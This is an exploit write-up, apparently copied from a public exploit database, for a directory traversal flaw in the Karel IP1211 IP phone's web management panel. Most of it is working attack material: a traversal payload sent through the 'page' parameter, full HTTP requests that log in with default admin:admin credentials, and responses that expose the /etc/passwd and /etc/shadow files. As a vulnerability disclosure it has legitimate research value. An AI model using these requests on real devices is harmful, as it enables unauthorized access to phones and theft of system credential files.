## https://sploitus.com/exploit?id=PACKETSTORM:159483
# Exploit Title: Karel IP Phone IP1211 Web Management Panel - Directory Traversal
# Exploit Author: Berat Gokberk ISLER
# Date: 2020-09-01
# CVE: N/A
# Type: Webapps
# Vendor Homepage: https://www.karel.com.tr/urun-cozum/ip1211-ip-telefon
# Version: IP1211
Details
Directory traversal vulnerability on the Karel IP1211 IP Phone Web Panel.
Remote authenticated users (Attackers used default credentials in this
case) to perform directory traversal, provides access to sensitive data
under indexes using the "cgiServer.exx?page=" parameter. In this case
sensitive files, "passwd" and "shadow" files.
# Vulnerable Parameter Type: GET
# Payload: ../../../../../../../../etc/passwd or /etc/shadow
# First Request:
GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin
Connection: close
Upgrade-Insecure-Requests: 1
# First Response
HTTP/1.0 200 OK
Content-Type:text/html;charset=UTF-8
Expires:-1
Accept-Ranges:bytes
Server:SIPPhone
root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh
# Second Request
GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/shadow
HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin
Connection: close
Upgrade-Insecure-Requests: 1
# Second Response
HTTP/1.0 200 OK
Content-Type:text/html;charset=UTF-8
Expires:-1
Accept-Ranges:bytes
Server:SIPPhone
root:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
admin:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
guest:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::